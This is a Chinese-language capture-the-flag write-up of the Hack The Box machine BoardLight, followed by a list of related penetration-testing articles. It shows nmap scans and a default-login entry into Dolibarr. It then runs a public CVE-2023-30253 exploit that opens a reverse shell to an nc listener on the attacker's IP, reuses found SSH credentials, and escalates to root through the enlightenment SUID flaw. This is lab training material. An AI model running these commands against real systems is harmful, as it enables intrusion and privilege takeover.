BoardLight靶机笔记

概述

HTB的靶机BoardLight

靶机地址:https://app.hackthebox.com/machines/BoardLight

一、nmap扫描

1)端口扫描

-sT tcp全连接扫描 --min-rate 以最低速率10000扫描 -p- 扫描全端口

sudo nmap -sT --min-rate 10000 -p- -o ports 10.10.11.11
Warning: 10.10.11.11 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.11
Host is up (0.23s latency).
Not shown: 41074 closed tcp ports (conn-refused), 24459 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http # Nmap done at Sat Aug 17 20:10:36 2024 -- 1 IP address (1 host up) scanned in 100.49 seconds

2)详情探测

-sT tcp全连接扫描 -sV 探测端口服务版本 -sC 使用默认脚本扫描 -O 探测目标操作系统

sudo nmap -sT -sV -sC -O -p22,80 10.10.11.11
Nmap scan report for 10.10.11.11
Host is up (0.36s latency). PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 062d3b851059ff7366277f0eae03eaf4 (RSA)
| 256 5903dc52873a359934447433783135fb (ECDSA)
|_ 256 ab1338e43ee024b46938a9638238ddf4 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 17 20:12:43 2024 -- 1 IP address (1 host up) scanned in 44.29 seconds

3) 漏洞脚本扫描

sudo nmap --script=vuln -o vuln 10.10.11.11
Nmap scan report for 10.10.11.11
Host is up (0.46s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| http-csrf: [0/105]
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.11.11
| Found the following possible CSRF vulnerabilities:
|
| Path: http://10.10.11.11:80/
| Form id:
| Form action:
|
| Path: http://10.10.11.11:80/
| Form id:
| Form action:
|
| Path: http://10.10.11.11:80/about.php
| Form id:
| Form action:
|
| Path: http://10.10.11.11:80/do.php
| Form id:
|_ Form action:
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-fileupload-exploiter:
|
| Couldn't find a file-type field.
|
| Couldn't find a file-type field.
|
|_ Couldn't find a file-type field.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) # Nmap done at Sat Aug 17 20:16:04 2024 -- 1 IP address (1 host up) scanned in 156.22 seconds

二、Web渗透

1)域名发现

最底部发现域名 board.htb写进/etc/hosts文件中

sudo echo "10.10.11.11 board.htb" | sudo tee -a /etc/hosts

对他进行子域名爆破和目录爆破

爆破处子域名 crm.board,htb写进/etc/hosts文件里

访问

http://crm.board.htb

看到了一个cms框架,尝试弱口令admin:admin

登陆进来

三、获得立足点

通过google搜索

找到了 : Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

根据github上边上的利用教程

kali本地

nc -lvvp 4444

利用脚本

python3 exploit.py http://crm.board.htb admin admin 10.10.14.69 4444

成功反弹shell

找到配置文件

找到了一组凭据

看一下用户

ls /home

larissa

ssh凭据 larissa:serverfun2$2023!!

连接ssh获得普通用户

ssh larissa@10.10.11.11

四、提权到root

find / -perm -4000 -type f 2> /dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper

看到enlightenment_sys,他有SUID提权漏洞

CVE-2022–37706

我们下载kail上,起一个php的80端口服务,在靶机上用wget下载下来 ,执行就可以到root

拿到root的flag

总结

  1. 通过nmap扫描发现目标靶机开启了22,80端口
  2. 对80端口的http服务进行了目录爆破和子域名爆破,发现了doblarr的cms框架,通过google搜索,找到了 Exploit-for-Dolibarr-17.0.0-CVE-2023-30253漏洞的利用脚本。
  3. 通过利用cms的漏洞成功获得shell,通过对配置的阅读,发现了一组凭据larissa:serverfun2$2023!!,成功获得了用户的shell
  4. 通过enlightenment这个桌面管理组件的SUID的利用成功获得了root的shell。

HTB-BoardLight靶机笔记的更多相关文章

  1. 【HTB系列】靶机Frolic的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  2. 【HTB系列】靶机Access的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  3. 【HTB系列】靶机Chaos的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 知识点: 通过域名或者IP可能会得到网站的不同响应 Wpscan的扫描wordpress ...

  4. 【HTB系列】靶机Querier的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 总结与反思: 1.收集信息要全面 2.用snmp-check检查snmp目标是否开启服务 ...

  5. 【HTB系列】靶机Netmon的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 总结和反思: win中执行powershell的远程代码下载执行注意双引号转义 对po ...

  6. 【HTB系列】靶机Bitlab的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 0x00 本文目录 反思与总结 基本信息 渗透测试过程 补充 0x01 反思与总结 c ...

  7. vulnhub靶机Tr0ll:1渗透笔记

    Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...

  8. vulnhub靶机djinn:1渗透笔记

    djinn:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/ 信息收集 首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali i ...

  9. HTB Linux queuing discipline manual - user guide笔记

    1. Introduction HTB is meant as a more understandable, intuitive and faster replacement for the CBQ ...

  10. sqli-labs靶机注入笔记1-10关

    嗯,开始记录sqli-lab的每关笔记,复习一次 1-2关 基于错误的字符串/数字型注入 闭合的符号有区别而已 http://www.sqli-lab.cn/Less-1/?id=1 or 1=1 - ...

随机推荐

  1. 高通Android UEFI XBL 代码流程分析

    高通Android UEFI XBL 代码流程分析 背景 之前学习的lk阶段点亮LCD的流程算是比较经典,但是高通已经推出了很多种基于UEFI方案的启动架构. 所以需要对这块比较新的技术进行学习.在学 ...

  2. Mybatis-plus 中Wrapper的使用

    mybatis plus条件构造器关系图 1.上图绿色框为抽象类abstract 2.蓝色框为正常class类,可new对象 3.黄色箭头指向为父子类关系,箭头指向为父类 QueryWrapper 继 ...

  3. Redis缓存雪崩,击穿,穿透以及解决方案

    Redis读写过程 一般情况下,Redis都是作为client与MySQL间的一层缓存,尽量减少MySQL的读压力,数据流向如图所示: Redis的五种数据类型及使用场景 String 这个其实没啥好 ...

  4. Spring的xml和注解对比

    常用注解 bean定义 XML方式:<bean></bean> 注解方式:@Component 通用组件 @Controller(web层) @Service(service层 ...

  5. python执行shell并获取结果

    在Python中执行Shell命令并获取其结果,通常可以使用subprocess模块.这个模块允许我们启动新的进程,连接到它们的输入/输出/错误管道,并获取它们的返回码.下面是一个详细的示例,展示了如 ...

  6. Swift开发基础01-语法

    Hello World print("Hello World") 不用编写main函数,Swift将全局范围内的首句可执行代码作为程序入口一句代码尾部可以省略分号(;),多句代码写 ...

  7. 可视化—gojs 超多超实用经验分享(二)

    想了想序号还是接上一篇分享的的序号接着写,如果在本文中没有获取需要的答案,可以移步去看看上一篇的分享.gojs 超多超实用经验分享(一) 目录 22. 指定线段连接到节点的某一个特定的接口上 23. ...

  8. django 信号判断是新增、修改还是删除

    在Django的信号处理器中,你可以使用一些方法来确定信号是关于新增(create).修改(update)还是删除(delete)的.这通常涉及到检查 created 和 instance 参数的值. ...

  9. [oeasy]python0012_程序写错了怎么办

    运行python文件_报错处理_NameError 回忆上次内容 回忆 上次内容 vi oeasy.py 用 vi 编辑 oeasy.py   cat oeasy.py 用 cat 查看 oeasy. ...

  10. 靶机: EvilBox---One

    靶机: EvilBox---One 准备工作 靶机地址: https://download.vulnhub.com/evilbox/EvilBox---One.ova MD5 校验:c3a65197b ...